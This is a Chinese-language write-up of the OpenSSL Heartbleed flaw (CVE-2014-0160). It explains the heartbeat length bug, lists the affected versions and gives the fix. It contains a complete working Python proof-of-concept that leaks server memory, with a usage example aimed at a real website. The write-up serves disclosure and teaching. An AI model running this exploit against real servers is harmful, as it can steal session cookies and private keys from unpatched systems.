心脏出血(heart bleed)漏洞
1、漏洞简介
OpenSSL 是一个强大的安全套接字层密码库,囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其它目的使用。
2014年4月7日OpenSSL的Heartbleed漏洞被曝光,该漏洞破坏性之大和影响的范围之广,堪称网络安全里程碑事件。
该漏洞可读取服务器上内存中随机64KB数据,可能导致服务器内重要的敏感信息(如用户cookie,服务器秘钥)等泄露。
2、漏洞成因
当使用基于openssl通信的双方建立安全连接后,客户端需要不断的发送心跳信息到服务器,以确保服务器是可用的。
基本的流程是:客户端发送一段固定长度的字符串到服务器,服务器接收后,返回该固定长度的字符串。比如客户端发送“hello,world”字符串到服务器,服务器接受后,原样返回“hello,world”字符串,这样客户端就会认为openssl服务器是可用的。
客户端发送的心跳信息结构体定义为:
struct hb { int type; int length; unsigned char *data; };
其中type为心跳的类型,length为data的大小。
其中关于data字段的内容结构为:
- type字段占一个字节,payload字段占两个字节,其余的为payload的具体内容。
详情如下所示:
字节序号 备注 0 type 1-2 data中具体的内容的大小为payload 3-len 具体的内容pl
当服务器收到消息后,会对该消息进行解析,也就是对data中的字符串进行解析,通过解析第0位得到type,第1-2位得到payload,接着申请(1+2+payload)大小的内存,然后再将相应的数据拷贝到该新申请的内存中。
假如客户端发送的data数据为“006abcdef”,那么服务器端解析可以得到type=0, payload=06, pl='abcdef',申请(1+2+6=9)大小的内存,然后再将type, payload, pl写到新申请的内存中。
但在存在漏洞的OpenSSL代码中包括TLS(TCP)和DTLS(UDP)都没有做边界的检测。服务器会按照payload的大小申请内存并将内存中的数据发回给客户端。 导致攻击者可以利用这个漏洞来获得TLS链接对端(可以是服务器,也可以是客户端)内存中的一些数据,至少可以获得16KB每次,理论上讲最大可以获取64KB。
3、漏洞检测及利用
利用代码:
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected]) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()
使用方法
py www.wooyun.org --port=443
网站若存在漏洞将返回服务器中的内存数据。
4、影响范围
使用了以下版本的 OpenSSL的服务器。
OpenSSL1.0.1、1.0.1a 、1.0.1b 、1.0.1c 、1.0.1d 、1.0.1e、1.0.1f、Beta 1 of OpenSSL 1.0.2等
5、实际案例
6、漏洞修复
升级OpenSSL到版本1.0.1g及以上。